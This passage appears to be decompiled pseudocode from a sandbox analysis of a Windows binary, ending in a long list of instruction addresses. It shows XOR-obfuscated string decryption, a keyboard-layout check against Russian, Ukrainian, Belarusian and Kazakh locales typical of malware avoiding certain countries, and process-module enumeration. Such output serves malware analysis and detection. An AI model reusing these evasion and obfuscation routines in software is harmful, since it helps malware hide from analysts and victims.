                                                          									 *_t617 = 0;
                                                          									_t617[4] = 0;
                                                          									_t617[5] = 0xf;
                                                          									do {
                                                          										_t337 =  *_t544;
                                                          										_t544 =  &(_t544[1]);
                                                          										__eflags = _t337;
                                                          									} while (_t337 != 0);
                                                          									E004026B0(_t518, _t617, 0x450f3c, _t544 - _t647);
                                                          									_t339 = E00404490(_t518,  &_v88, _t617); // executed
                                                          									_t690 =  &(_t689[6]);
                                                          									_v89 = 0x2e;
                                                          									__eflags = _t339;
                                                          									_t340 =  *0x450fa0; // 0x8000000d
                                                          									_v90 = _t339 != 0;
                                                          									__eflags = _t340 -  *((intOrPtr*)(_t635 + 4));
                                                          									if(_t340 >  *((intOrPtr*)(_t635 + 4))) {
                                                          										E0040EF48(_t340, 0x450fa0);
                                                          										_t690 =  &(_t690[1]);
                                                          										__eflags =  *0x450fa0 - 0xffffffff;
                                                          										if(__eflags == 0) {
                                                          											asm("movaps xmm0, [0x439d80]");
                                                          											asm("movups [0x450ec0], xmm0");
                                                          											 *0x450ed0 = _v89;
                                                          											E0040F25B( &_v88, __eflags, 0x42ce80);
                                                          											E0040EEFE(0x450fa0);
                                                          											_t690 =  &(_t690[2]);
                                                          										}
                                                          									}
                                                          									_t341 =  *0x450ed0; // 0x0
                                                          									__eflags = _t341;
                                                          									if(_t341 != 0) {
                                                          										asm("movups xmm0, [0x450ec0]");
                                                          										asm("movaps xmm1, [0x439d30]");
                                                          										asm("pxor xmm1, xmm0");
                                                          										 *0x450ed0 = _t341 ^ 0x0000002e;
                                                          										asm("movups [0x450ec0], xmm1");
                                                          									}
                                                          									_t691 = _t690 - 0x18;
                                                          									_t548 = 0x450ec0;
                                                          									_t618 = _t691;
                                                          									_t150 = _t548 + 1; // 0x450ec1
                                                          									_t648 = _t150;
                                                          									 *_t618 = 0;
                                                          									_t618[4] = 0;
                                                          									_t618[5] = 0xf;
                                                          									do {
                                                          										_t342 =  *_t548;
                                                          										_t548 = _t548 + 1;
                                                          										__eflags = _t342;
                                                          									} while (_t342 != 0);
                                                          									E004026B0(_t518, _t618, 0x450ec0, _t548 - _t648);
                                                          									_t344 = E00404490(_t518,  &_v88, _t618); // executed
                                                          									_t692 =  &(_t691[6]);
                                                          									_v48 = 0x2e6d;
                                                          									__eflags = _t344;
                                                          									_t345 =  *0x450f08; // 0x8000000e
                                                          									_v89 = _t344 != 0;
                                                          									__eflags = _t345 -  *((intOrPtr*)(_t635 + 4));
                                                          									if(_t345 >  *((intOrPtr*)(_t635 + 4))) {
                                                          										E0040EF48(_t345, 0x450f08);
                                                          										_t692 =  &(_t692[1]);
                                                          										__eflags =  *0x450f08 - 0xffffffff;
                                                          										if(__eflags == 0) {
                                                          											asm("movaps xmm0, [0x439da0]");
                                                          											asm("movups [0x450f78], xmm0");
                                                          											 *0x450f88 = _v48;
                                                          											E0040F25B( &_v88, __eflags, 0x42ce60);
                                                          											E0040EEFE(0x450f08);
                                                          											_t692 =  &(_t692[2]);
                                                          										}
                                                          									}
                                                          									__eflags =  *0x450f89;
                                                          									if( *0x450f89 != 0) {
                                                          										asm("movups xmm0, [0x450f78]");
                                                          										_t445 = 0x10;
                                                          										asm("movaps xmm1, [0x439d30]");
                                                          										asm("pxor xmm1, xmm0");
                                                          										asm("movups [0x450f78], xmm1");
                                                          										do {
                                                          											 *(_t445 + 0x450f78) =  *(_t445 + 0x450f78) ^ 0x0000002e;
                                                          											_t445 = _t445 + 1;
                                                          											__eflags = _t445 - 0x12;
                                                          										} while (_t445 < 0x12);
                                                          									}
                                                          									_t693 = _t692 - 0x18;
                                                          									_t552 = 0x450f78;
                                                          									_t619 = _t693;
                                                          									_t160 = _t552 + 1; // 0x450f79
                                                          									_t649 = _t160;
                                                          									 *_t619 = 0;
                                                          									_t619[4] = 0;
                                                          									_t619[5] = 0xf;
                                                          									do {
                                                          										_t346 =  *_t552;
                                                          										_t552 = _t552 + 1;
                                                          										__eflags = _t346;
                                                          									} while (_t346 != 0);
                                                          									E004026B0(_t518, _t619, 0x450f78, _t552 - _t649);
                                                          									_t348 = E00404490(_t518,  &_v88, _t619); // executed
                                                          									_t688 =  &(_t693[6]);
                                                          									__eflags = _t348;
                                                          									if(_t348 == 0) {
                                                          										L89:
                                                          										_t646 = 0;
                                                          										__eflags = 0;
                                                          									} else {
                                                          										__eflags = _v90;
                                                          										if(_v90 == 0) {
                                                          											goto L89;
                                                          										} else {
                                                          											__eflags = _v89;
                                                          											if(_v89 == 0) {
                                                          												goto L89;
                                                          											} else {
                                                          												_t646 = 1;
                                                          											}
                                                          										}
                                                          									}
                                                          									_t620 = _v68;
                                                          									__eflags = _t620 - 0x10;
                                                          									if(_t620 < 0x10) {
                                                          										L94:
                                                          										 *[fs:0x0] = _v36;
                                                          										_pop(_t636);
                                                          										_pop(_t650);
                                                          										__eflags = _v44 ^ _t667;
                                                          										return E0040EBBF(_t646, _t518, _v44 ^ _t667, _t620, _t636, _t650);
                                                          									} else {
                                                          										_t560 = _v88;
                                                          										_t620 = _t620 + 1;
                                                          										_t351 = _t560;
                                                          										__eflags = _t620 - 0x1000;
                                                          										if(_t620 < 0x1000) {
                                                          											L93:
                                                          											_push(_t620);
                                                          											E0040EDFF(_t560);
                                                          											goto L94;
                                                          										} else {
                                                          											_t560 =  *(_t560 - 4);
                                                          											_t620 = _t620 + 0x23;
                                                          											__eflags = _t351 - _t560 + 0xfffffffc - 0x1f;
                                                          											if(__eflags > 0) {
                                                          												goto L96;
                                                          											} else {
                                                          												goto L93;
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t593 = _v120;
                                                          									_t627 = _t615 + 1;
                                                          									_t462 = _t593;
                                                          									__eflags = _t627 - 0x1000;
                                                          									if(_t627 < 0x1000) {
                                                          										L59:
                                                          										_push(_t627);
                                                          										E0040EDFF(_t593);
                                                          										_t688 =  &(_t688[2]);
                                                          										goto L60;
                                                          									} else {
                                                          										_t560 =  *(_t593 - 4);
                                                          										_t620 = _t627 + 0x23;
                                                          										__eflags = _t462 - _t560 + 0xfffffffc - 0x1f;
                                                          										if(__eflags > 0) {
                                                          											E00413527(_t518, _t620, __eflags);
                                                          											L96:
                                                          											E00413527(_t518, _t620, __eflags);
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											_push(_t518);
                                                          											_t520 = _t688;
                                                          											_t699 = (_t688 - 0x00000008 & 0xfffffff8) + 4;
                                                          											_push(_t667);
                                                          											_v560 = _t520[1];
                                                          											_t670 = _t699;
                                                          											_push(0xffffffff);
                                                          											_push(0x42c572);
                                                          											_push( *[fs:0x0]);
                                                          											_push(_t520);
                                                          											_t700 = _t699 - 0x630;
                                                          											_t357 =  *0x43d054; // 0x6e36c9b5
                                                          											_t358 = _t357 ^ _t670;
                                                          											_v584 = _t358;
                                                          											_push(_t646);
                                                          											_push(_t635);
                                                          											_push(_t358);
                                                          											 *[fs:0x0] =  &_v576;
                                                          											_t651 = _t560;
                                                          											_v2120 = _t651;
                                                          											_v2160 = _t651;
                                                          											asm("xorps xmm0, xmm0");
                                                          											_v2124 = 0;
                                                          											asm("movq [esi], xmm0");
                                                          											 *(_t651 + 8) = 0;
                                                          											 *_t651 = 0;
                                                          											 *(_t651 + 4) = 0;
                                                          											 *(_t651 + 8) = 0;
                                                          											_v568 = 0;
                                                          											_v2124 = 1;
                                                          											_t361 = GetKeyboardLayoutList(0x400,  &_v2116);
                                                          											_t637 = 0;
                                                          											_v2120 = _t361;
                                                          											__eflags = _t361;
                                                          											if(_t361 <= 0) {
                                                          												L109:
                                                          												 *[fs:0x0] = _v48;
                                                          												_pop(_t638);
                                                          												_pop(_t652);
                                                          												__eflags = _v56 ^ _t670;
                                                          												return E0040EBBF(_t651, _t520, _v56 ^ _t670, _t620, _t638, _t652);
                                                          											} else {
                                                          												do {
                                                          													_t364 =  *(_t670 + _t637 * 4 - 0x610) & 0x0000ffff;
                                                          													_v1600 = _t364;
                                                          													GetLocaleInfoA(_t364, 2,  &_v564, 0x1f4); // executed
                                                          													_t366 =  &_v564;
                                                          													_v1628 = 0;
                                                          													_v1612 = 0;
                                                          													_t621 = _t366 + 1;
                                                          													_v1608 = 0xf;
                                                          													_v1628 = 0;
                                                          													do {
                                                          														_t566 =  *_t366;
                                                          														_t366 = _t366 + 1;
                                                          														__eflags = _t566;
                                                          													} while (_t566 != 0);
                                                          													E004026B0(_t520,  &_v1628,  &_v564, _t366 - _t621);
                                                          													_t568 = _v1600;
                                                          													_v1604 = _t568;
                                                          													_v40 = 1;
                                                          													_t370 =  *(_t651 + 4);
                                                          													__eflags = _t370 -  *(_t651 + 8);
                                                          													if(_t370 ==  *(_t651 + 8)) {
                                                          														_push( &_v1628);
                                                          														_push(_t370);
                                                          														E0040CC40(_t520, _t651, _t637, _t651);
                                                          														_t620 = _v1608;
                                                          													} else {
                                                          														asm("movups xmm0, [ebp-0x638]");
                                                          														_t620 = 0xf;
                                                          														_v1628 = 0;
                                                          														asm("movups [eax], xmm0");
                                                          														asm("movq xmm0, [ebp-0x628]");
                                                          														asm("movq [eax+0x10], xmm0");
                                                          														 *(_t370 + 0x18) = _t568;
                                                          														 *(_t651 + 4) =  *(_t651 + 4) + 0x1c;
                                                          													}
                                                          													_v40 = 0;
                                                          													__eflags = _t620 - 0x10;
                                                          													if(_t620 < 0x10) {
                                                          														goto L108;
                                                          													} else {
                                                          														_t571 = _v1628;
                                                          														_t620 = _t620 + 1;
                                                          														_t372 = _t571;
                                                          														__eflags = _t620 - 0x1000;
                                                          														if(_t620 < 0x1000) {
                                                          															L107:
                                                          															_push(_t620);
                                                          															E0040EDFF(_t571);
                                                          															_t700 = _t700 + 8;
                                                          															goto L108;
                                                          														} else {
                                                          															_t571 =  *(_t571 - 4);
                                                          															_t620 = _t620 + 0x23;
                                                          															__eflags = _t372 - _t571 + 0xfffffffc - 0x1f;
                                                          															if(__eflags > 0) {
                                                          																E00413527(_t520, _t620, __eflags);
                                                          																asm("int3");
                                                          																_push(_t670);
                                                          																_t672 = _t700;
                                                          																_push(0xffffffff);
                                                          																_push(0x42c5b5);
                                                          																_push( *[fs:0x0]);
                                                          																_t703 = _t700 - 0x5c;
                                                          																_t378 =  *0x43d054; // 0x6e36c9b5
                                                          																_t379 = _t378 ^ _t672;
                                                          																_v2192 = _t379;
                                                          																_push(_t520);
                                                          																_push(_t651);
                                                          																_push(_t637);
                                                          																_push(_t379);
                                                          																 *[fs:0x0] =  &_v2188;
                                                          																_t522 = 0;
                                                          																_t572 =  &_v2212;
                                                          																asm("xorps xmm0, xmm0");
                                                          																_v2248 = 0;
                                                          																asm("movq [ebp-0x24], xmm0");
                                                          																_v2204 = 0;
                                                          																L97(); // executed
                                                          																_v2180 = 0;
                                                          																_t381 = _v2208;
                                                          																_t639 = _v2212;
                                                          																_v2252 = _t381;
                                                          																__eflags = _t639 - _t381;
                                                          																if(_t639 == _t381) {
                                                          																	L138:
                                                          																	_t523 = 0;
                                                          																	__eflags = 0;
                                                          																	goto L139;
                                                          																} else {
                                                          																	_v64 = 0x5d5d5b7c;
                                                          																	_v60 = 0x2e404f47;
                                                          																	_t658 =  *( *[fs:0x2c]);
                                                          																	_v120 = _t658;
                                                          																	do {
                                                          																		E0040BB90(_t522,  &_v104, _t620, _t639, _t639);
                                                          																		_v80 =  *((intOrPtr*)(_t639 + 0x18));
                                                          																		_v44 = 1;
                                                          																		_t414 =  *0x451008;
                                                          																		__eflags =  *0x451008 -  *((intOrPtr*)(_t658 + 4));
                                                          																		if( *0x451008 >  *((intOrPtr*)(_t658 + 4))) {
                                                          																			E0040EF48(_t414, 0x451008);
                                                          																			_t703 = _t703 + 4;
                                                          																			__eflags =  *0x451008 - 0xffffffff;
                                                          																			if(__eflags == 0) {
                                                          																				_t232 =  &_v64; // 0x5d5d5b7c
                                                          																				 *0x450d20 =  *_t232;
                                                          																				_t233 =  &_v60; // 0x2e404f47
                                                          																				 *0x450d24 =  *_t233;
                                                          																				E0040F25B( &_v104, __eflags, 0x42cee0);
                                                          																				E0040EEFE(0x451008);
                                                          																				_t703 = _t703 + 8;
                                                          																			}
                                                          																		}
                                                          																		_t415 =  *0x450d27; // 0x0
                                                          																		__eflags = _t415;
                                                          																		if(_t415 != 0) {
                                                          																			 *0x450d20 =  *0x450d20 ^ 0x0000002e;
                                                          																			 *0x450d21 =  *0x450d21 ^ 0x0000002e;
                                                          																			 *0x450d22 =  *0x450d22 ^ 0x0000002e;
                                                          																			 *0x450d23 =  *0x450d23 ^ 0x0000002e;
                                                          																			 *0x450d24 =  *0x450d24 ^ 0x0000002e;
                                                          																			 *0x450d25 =  *0x450d25 ^ 0x0000002e;
                                                          																			 *0x450d26 =  *0x450d26 ^ 0x0000002e;
                                                          																			_t439 = _t415 ^ 0x0000002e;
                                                          																			__eflags = _t439;
                                                          																			 *0x450d27 = _t439;
                                                          																		}
                                                          																		_t416 = 0x450d20;
                                                          																		_v144 = 0;
                                                          																		_v128 = 0;
                                                          																		_v124 = 0xf;
                                                          																		_t237 =  &(_t416[1]); // 0x450d21
                                                          																		_t626 = _t237;
                                                          																		do {
                                                          																			_t589 =  *_t416;
                                                          																			_t416 =  &(_t416[1]);
                                                          																			__eflags = _t589;
                                                          																		} while (_t589 != 0);
                                                          																		E004026B0(_t522,  &_v144, 0x450d20, _t416 - _t626);
                                                          																		_t651 = _v104;
                                                          																		_t620 = _v88;
                                                          																		__eflags = _v124 - 0x10;
                                                          																		_v112 = _t522 | 0x00000001;
                                                          																		_t523 = _v144;
                                                          																		_t420 =  >=  ? _t523 :  &_v144;
                                                          																		__eflags = _v84 - 0x10;
                                                          																		_t572 =  >=  ? _t651 :  &_v104;
                                                          																		_t421 = E00402890(_t572, _t620, _t572,  >=  ? _t523 :  &_v144, _v128);
                                                          																		_t703 = _t703 + 0xc;
                                                          																		__eflags = _t421 - 0xffffffff;
                                                          																		if(_t421 != 0xffffffff) {
                                                          																			L122:
                                                          																			_v105 = 1;
                                                          																		} else {
                                                          																			__eflags = _v84 - 0x10;
                                                          																			_t620 = _v88;
                                                          																			_t572 =  >=  ? _t651 :  &_v104;
                                                          																			_t438 = E00402890(_t572, _t620, _t572, 0x439a6c, 7);
                                                          																			_t703 = _t703 + 0xc;
                                                          																			_v105 = 0;
                                                          																			__eflags = _t438 - 0xffffffff;
                                                          																			if(_t438 != 0xffffffff) {
                                                          																				goto L122;
                                                          																			}
                                                          																		}
                                                          																		_v112 = _v112 & 0xfffffffe;
                                                          																		_t422 = _v124;
                                                          																		__eflags = _t422 - 0x10;
                                                          																		if(_t422 < 0x10) {
                                                          																			L127:
                                                          																			__eflags = _v105;
                                                          																			if(_v105 != 0) {
                                                          																				L143:
                                                          																				_t423 = _v84;
                                                          																				__eflags = _t423 - 0x10;
                                                          																				if(_t423 < 0x10) {
                                                          																					L147:
                                                          																					_t639 = _v76;
                                                          																					_t523 = 1;
                                                          																					L139:
                                                          																					__eflags = _t639;
                                                          																					if(_t639 == 0) {
                                                          																						L149:
                                                          																						 *[fs:0x0] = _v52;
                                                          																						_pop(_t640);
                                                          																						_pop(_t653);
                                                          																						_pop(_t524);
                                                          																						__eflags = _v56 ^ _t672;
                                                          																						return E0040EBBF(_t523, _t524, _v56 ^ _t672, _t620, _t640, _t653);
                                                          																					} else {
                                                          																						_push(_t572);
                                                          																						E0040D380(_t639, _v72, _t639, _t651);
                                                          																						_t654 = _v76;
                                                          																						_t705 = _t703 + 4;
                                                          																						_t620 = (0x92492493 * (_v68 - _t654) >> 0x20) + _v68 - _t654 >> 4;
                                                          																						_t390 = _t654;
                                                          																						_t582 = ((_t620 >> 0x1f) + _t620) * 8 - (_t620 >> 0x1f) + _t620 << 2;
                                                          																						__eflags = _t582 - 0x1000;
                                                          																						if(_t582 < 0x1000) {
                                                          																							L148:
                                                          																							_push(_t582);
                                                          																							E0040EDFF(_t654);
                                                          																							goto L149;
                                                          																						} else {
                                                          																							_t654 =  *((intOrPtr*)(_t654 - 4));
                                                          																							_t582 = _t582 + 0x23;
                                                          																							__eflags = _t390 - _t654 + 0xfffffffc - 0x1f;
                                                          																							if(__eflags > 0) {
                                                          																								E00413527(_t523, _t620, __eflags);
                                                          																								goto L151;
                                                          																							} else {
                                                          																								goto L148;
                                                          																							}
                                                          																						}
                                                          																					}
                                                          																				} else {
                                                          																					_t279 = _t423 + 1; // 0x11
                                                          																					_t572 = _t279;
                                                          																					_t424 = _t651;
                                                          																					__eflags = _t572 - 0x1000;
                                                          																					if(_t572 < 0x1000) {
                                                          																						L146:
                                                          																						_push(_t572);
                                                          																						E0040EDFF(_t651);
                                                          																						_t703 = _t703 + 8;
                                                          																						goto L147;
                                                          																					} else {
                                                          																						_t654 =  *((intOrPtr*)(_t651 - 4));
                                                          																						_t582 = _t572 + 0x23;
                                                          																						__eflags = _t424 - _t654 + 0xfffffffc - 0x1f;
                                                          																						if(__eflags > 0) {
                                                          																							goto L151;
                                                          																						} else {
                                                          																							goto L146;
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			} else {
                                                          																				_t428 = _v80;
                                                          																				__eflags = _t428 - 0x419;
                                                          																				if(_t428 == 0x419) {
                                                          																					goto L143;
                                                          																				} else {
                                                          																					__eflags = _t428 - 0x422;
                                                          																					if(_t428 == 0x422) {
                                                          																						goto L143;
                                                          																					} else {
                                                          																						__eflags = _t428 - 0x423;
                                                          																						if(_t428 == 0x423) {
                                                          																							goto L143;
                                                          																						} else {
                                                          																							__eflags = _t428 - 0x43f;
                                                          																							if(_t428 == 0x43f) {
                                                          																								goto L143;
                                                          																							} else {
                                                          																								_v44 = 0;
                                                          																								_t429 = _v84;
                                                          																								__eflags = _t429 - 0x10;
                                                          																								if(_t429 < 0x10) {
                                                          																									goto L136;
                                                          																								} else {
                                                          																									_t263 = _t429 + 1; // 0x11
                                                          																									_t572 = _t263;
                                                          																									_t430 = _t651;
                                                          																									__eflags = _t572 - 0x1000;
                                                          																									if(_t572 < 0x1000) {
                                                          																										L135:
                                                          																										_push(_t572);
                                                          																										E0040EDFF(_t651);
                                                          																										_t703 = _t703 + 8;
                                                          																										goto L136;
                                                          																									} else {
                                                          																										_t654 =  *((intOrPtr*)(_t651 - 4));
                                                          																										_t582 = _t572 + 0x23;
                                                          																										__eflags = _t430 - _t654 + 0xfffffffc - 0x1f;
                                                          																										if(__eflags > 0) {
                                                          																											goto L151;
                                                          																										} else {
                                                          																											goto L135;
                                                          																										}
                                                          																									}
                                                          																								}
                                                          																							}
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																		} else {
                                                          																			_t256 = _t422 + 1; // 0x11
                                                          																			_t572 = _t256;
                                                          																			_t434 = _t523;
                                                          																			__eflags = _t572 - 0x1000;
                                                          																			if(_t572 < 0x1000) {
                                                          																				L126:
                                                          																				_push(_t572);
                                                          																				E0040EDFF(_t523);
                                                          																				_t651 = _v104;
                                                          																				_t703 = _t703 + 8;
                                                          																				goto L127;
                                                          																			} else {
                                                          																				_t523 =  *(_t523 - 4);
                                                          																				_t582 = _t572 + 0x23;
                                                          																				__eflags = _t434 - _t523 + 0xfffffffc - 0x1f;
                                                          																				if(__eflags > 0) {
                                                          																					L151:
                                                          																					E00413527(_t523, _t620, __eflags);
                                                          																					asm("int3");
                                                          																					asm("int3");
                                                          																					_push(_t672);
                                                          																					_t674 = _t705;
                                                          																					_t396 =  *0x43d054; // 0x6e36c9b5
                                                          																					_v2304 = _t396 ^ _t674;
                                                          																					_push(_t654);
                                                          																					_push(_t639);
                                                          																					_t641 = _t582;
                                                          																					_v2572 = _t641;
                                                          																					_v2572 = _t641;
                                                          																					_t398 =  *0x439a7c; // 0x3e
                                                          																					asm("movq xmm0, [0x439a74]");
                                                          																					_v2556 = _t398;
                                                          																					asm("movq [ebp-0x108], xmm0");
                                                          																					E00410B00(_t641,  &_v2554, 0, 0xfa);
                                                          																					_t656 = OpenProcess(0x410, 0, _t620);
                                                          																					__eflags = _t656;
                                                          																					if(_t656 != 0) {
                                                          																						_t409 =  &_v316;
                                                          																						__imp__K32EnumProcessModules(_t656, _t409, 4,  &_v312); // executed
                                                          																						__eflags = _t409;
                                                          																						if(_t409 != 0) {
                                                          																							__imp__K32GetModuleBaseNameA(_t656, _v316,  &_v308, 0x104); // executed
                                                          																						}
                                                          																					}
                                                          																					FindCloseChangeNotification(_t656); // executed
                                                          																					_t583 =  &_v308;
                                                          																					 *_t641 = 0;
                                                          																					_t641[4] = 0;
                                                          																					_t625 = _t583 + 1;
                                                          																					_t641[5] = 0xf;
                                                          																					 *_t641 = 0;
                                                          																					do {
                                                          																						_t403 =  *_t583;
                                                          																						_t583 = _t583 + 1;
                                                          																						__eflags = _t403;
                                                          																					} while (_t403 != 0);
                                                          																					E004026B0(_t523, _t641,  &_v308, _t583 - _t625);
                                                          																					_pop(_t642);
                                                          																					__eflags = _v48 ^ _t674;
                                                          																					_pop(_t657);
                                                          																					return E0040EBBF(_t641, _t523, _v48 ^ _t674, _t625, _t642, _t657);
                                                          																				} else {
                                                          																					goto L126;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																		goto L158;
                                                          																		L136:
                                                          																		_t522 = _v112;
                                                          																		_t639 = _t639 + 0x1c;
                                                          																		_t658 = _v120;
                                                          																		__eflags = _t639 - _v116;
                                                          																	} while (_t639 != _v116);
                                                          																	_t639 = _v76;
                                                          																	goto L138;
                                                          																}
                                                          															} else {
                                                          																goto L107;
                                                          															}
                                                          														}
                                                          													}
                                                          													goto L158;
                                                          													L108:
                                                          													_t637 = _t637 + 1;
                                                          													__eflags = _t637 - _v1592;
                                                          												} while (_t637 < _v1592);
                                                          												goto L109;
                                                          											}
                                                          										} else {
                                                          											goto L59;
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								goto L13;
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				L158:
                                                          			}






































































































































































































































                                                          0x00404490
                                                          0x00404491
                                                          0x00404499
                                                          0x004044a0
                                                          0x004044a4
                                                          0x004044a6
                                                          0x004044a8
                                                          0x004044b3
                                                          0x004044b4
                                                          0x004044b5
                                                          0x004044bb
                                                          0x004044c0
                                                          0x004044c2
                                                          0x004044c5
                                                          0x004044c6
                                                          0x004044c7
                                                          0x004044cb
                                                          0x004044d1
                                                          0x004044d8
                                                          0x004044db
                                                          0x004044e0
                                                          0x004044e7
                                                          0x004044ee
                                                          0x004044f5
                                                          0x00404500
                                                          0x00404504
                                                          0x00404509
                                                          0x0040450d
                                                          0x00404512
                                                          0x0040451a
                                                          0x00404543
                                                          0x00404555
                                                          0x0040451c
                                                          0x00404522
                                                          0x00404525
                                                          0x0040452d
                                                          0x00404531
                                                          0x00404535
                                                          0x00404535
                                                          0x00404567
                                                          0x0040456d
                                                          0x00404573
                                                          0x00404578
                                                          0x0040465b
                                                          0x0040465b
                                                          0x0040465e
                                                          0x00404661
                                                          0x00404669
                                                          0x004046e8
                                                          0x004046e8
                                                          0x00000000
                                                          0x00404670
                                                          0x00404670
                                                          0x00404674
                                                          0x00404683
                                                          0x0040468e
                                                          0x00404691
                                                          0x00404694
                                                          0x00404699
                                                          0x0040469e
                                                          0x004046a4
                                                          0x004046a7
                                                          0x00000000
                                                          0x00000000
                                                          0x004046b0
                                                          0x004046dd
                                                          0x004046dd
                                                          0x004046e6
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004046b2
                                                          0x004046b2
                                                          0x004046b2
                                                          0x004046b5
                                                          0x004046bd
                                                          0x004046d3
                                                          0x004046d3
                                                          0x004046d5
                                                          0x004046da
                                                          0x00000000
                                                          0x004046bf
                                                          0x004046bf
                                                          0x004046c2
                                                          0x004046cd
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004046cd
                                                          0x004046bd
                                                          0x00000000
                                                          0x004046b0
                                                          0x004047c7
                                                          0x004047ca
                                                          0x004047f3
                                                          0x004047f3
                                                          0x004046ea
                                                          0x004046ea
                                                          0x004046f0
                                                          0x0040471e
                                                          0x0040471e
                                                          0x00404721
                                                          0x00404728
                                                          0x0040472f
                                                          0x00404735
                                                          0x0040479f
                                                          0x0040479f
                                                          0x004047a5
                                                          0x00404807
                                                          0x0040480c
                                                          0x00404814
                                                          0x00404815
                                                          0x00404826
                                                          0x004047a7
                                                          0x004047a7
                                                          0x004047aa
                                                          0x004047ab
                                                          0x004047b3
                                                          0x004047fd
                                                          0x004047fd
                                                          0x004047ff
                                                          0x00000000
                                                          0x004047b5
                                                          0x004047b5
                                                          0x004047b8
                                                          0x004047c3
                                                          0x00000000
                                                          0x004047c5
                                                          0x00000000
                                                          0x004047c5
                                                          0x004047c3
                                                          0x004047b3
                                                          0x00404737
                                                          0x0040473a
                                                          0x0040473b
                                                          0x00404748
                                                          0x0040474b
                                                          0x00404752
                                                          0x0040475f
                                                          0x00404761
                                                          0x0040476a
                                                          0x00404780
                                                          0x00404780
                                                          0x00404782
                                                          0x00404787
                                                          0x0040478a
                                                          0x00404791
                                                          0x00404798
                                                          0x00000000
                                                          0x0040476c
                                                          0x0040476c
                                                          0x0040476f
                                                          0x0040477a
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040477a
                                                          0x0040476a
                                                          0x004046f2
                                                          0x004046f2
                                                          0x004046f5
                                                          0x004046f6
                                                          0x004046fe
                                                          0x00404714
                                                          0x00404714
                                                          0x00404716
                                                          0x0040471b
                                                          0x00000000
                                                          0x00404700
                                                          0x00404700
                                                          0x00404703
                                                          0x0040470e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040470e
                                                          0x004046fe
                                                          0x004047cc
                                                          0x004047cc
                                                          0x004047cc
                                                          0x004047cf
                                                          0x004047d1
                                                          0x004047d7
                                                          0x004047e9
                                                          0x004047e9
                                                          0x004047eb
                                                          0x004047f0
                                                          0x00000000
                                                          0x004047d9
                                                          0x004047d9
                                                          0x004047dc
                                                          0x004047e4
                                                          0x004047e7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004047e7
                                                          0x004047d7
                                                          0x004047ca
                                                          0x0040457e
                                                          0x0040457e
                                                          0x0040457e
                                                          0x004045b2
                                                          0x004045b2
                                                          0x004045b2
                                                          0x004045b4
                                                          0x004045b5
                                                          0x004045c6
                                                          0x004045cb
                                                          0x004045cf
                                                          0x004045d5
                                                          0x00404600
                                                          0x00404601
                                                          0x00404605
                                                          0x0040460a
                                                          0x004045d7
                                                          0x004045d7
                                                          0x004045db
                                                          0x004045e1
                                                          0x004045e6
                                                          0x004045ea
                                                          0x004045ed
                                                          0x004045f2
                                                          0x004045f7
                                                          0x004045f7
                                                          0x0040460d
                                                          0x00404614
                                                          0x00404642
                                                          0x0040464a
                                                          0x0040464e
                                                          0x00404590
                                                          0x00404590
                                                          0x00404596
                                                          0x0040459d
                                                          0x004045a4
                                                          0x004045a7
                                                          0x004045ae
                                                          0x00000000
                                                          0x00404654
                                                          0x00404655
                                                          0x00000000
                                                          0x00404655
                                                          0x00404616
                                                          0x00404616
                                                          0x00404619
                                                          0x0040461a
                                                          0x00404622
                                                          0x00404638
                                                          0x00404638
                                                          0x0040463a
                                                          0x0040463f
                                                          0x00000000
                                                          0x00404624
                                                          0x00404624
                                                          0x00404627
                                                          0x00404632
                                                          0x00404827
                                                          0x00404827
                                                          0x0040482c
                                                          0x0040482c
                                                          0x00404831
                                                          0x00404832
                                                          0x00404833
                                                          0x00404834
                                                          0x00404835
                                                          0x00404836
                                                          0x00404837
                                                          0x00404838
                                                          0x00404839
                                                          0x0040483a
                                                          0x0040483b
                                                          0x0040483c
                                                          0x0040483d
                                                          0x0040483e
                                                          0x0040483f
                                                          0x00404840
                                                          0x00404841
                                                          0x00404849
                                                          0x0040484c
                                                          0x00404850
                                                          0x00404854
                                                          0x00404856
                                                          0x00404858
                                                          0x00404863
                                                          0x00404864
                                                          0x00404865
                                                          0x00404868
                                                          0x0040486d
                                                          0x0040486f
                                                          0x00404872
                                                          0x00404873
                                                          0x00404874
                                                          0x00404878
                                                          0x00404884
                                                          0x0040488b
                                                          0x00404892
                                                          0x00404899
                                                          0x0040489b
                                                          0x004048a0
                                                          0x004048a6
                                                          0x004048ad
                                                          0x004048b2
                                                          0x004048b5
                                                          0x004048bc
                                                          0x004048be
                                                          0x004048cb
                                                          0x004048d3
                                                          0x004048d8
                                                          0x004048e5
                                                          0x004048ea
                                                          0x004048ea
                                                          0x004048bc
                                                          0x004048ed
                                                          0x004048f4
                                                          0x004048f6
                                                          0x004048f6
                                                          0x00404900
                                                          0x00404900
                                                          0x00404907
                                                          0x00404908
                                                          0x00404908
                                                          0x00404900
                                                          0x0040490d
                                                          0x00404912
                                                          0x00404919
                                                          0x00404920
                                                          0x00404927
                                                          0x0040492b
                                                          0x0040492b
                                                          0x00404930
                                                          0x00404930
                                                          0x00404932
                                                          0x00404933
                                                          0x00404933
                                                          0x00404942
                                                          0x00404947
                                                          0x00404951
                                                          0x00404955
                                                          0x0040495a
                                                          0x0040495f
                                                          0x00404961
                                                          0x00404968
                                                          0x0040496a
                                                          0x00404971
                                                          0x00404974
                                                          0x0040497b
                                                          0x0040497f
                                                          0x0040497f
                                                          0x00404982
                                                          0x00404982
                                                          0x00404984
                                                          0x00404985
                                                          0x00404985
                                                          0x00404990
                                                          0x00404995
                                                          0x00404999
                                                          0x0040499c
                                                          0x0040499f
                                                          0x004049cd
                                                          0x004049cd
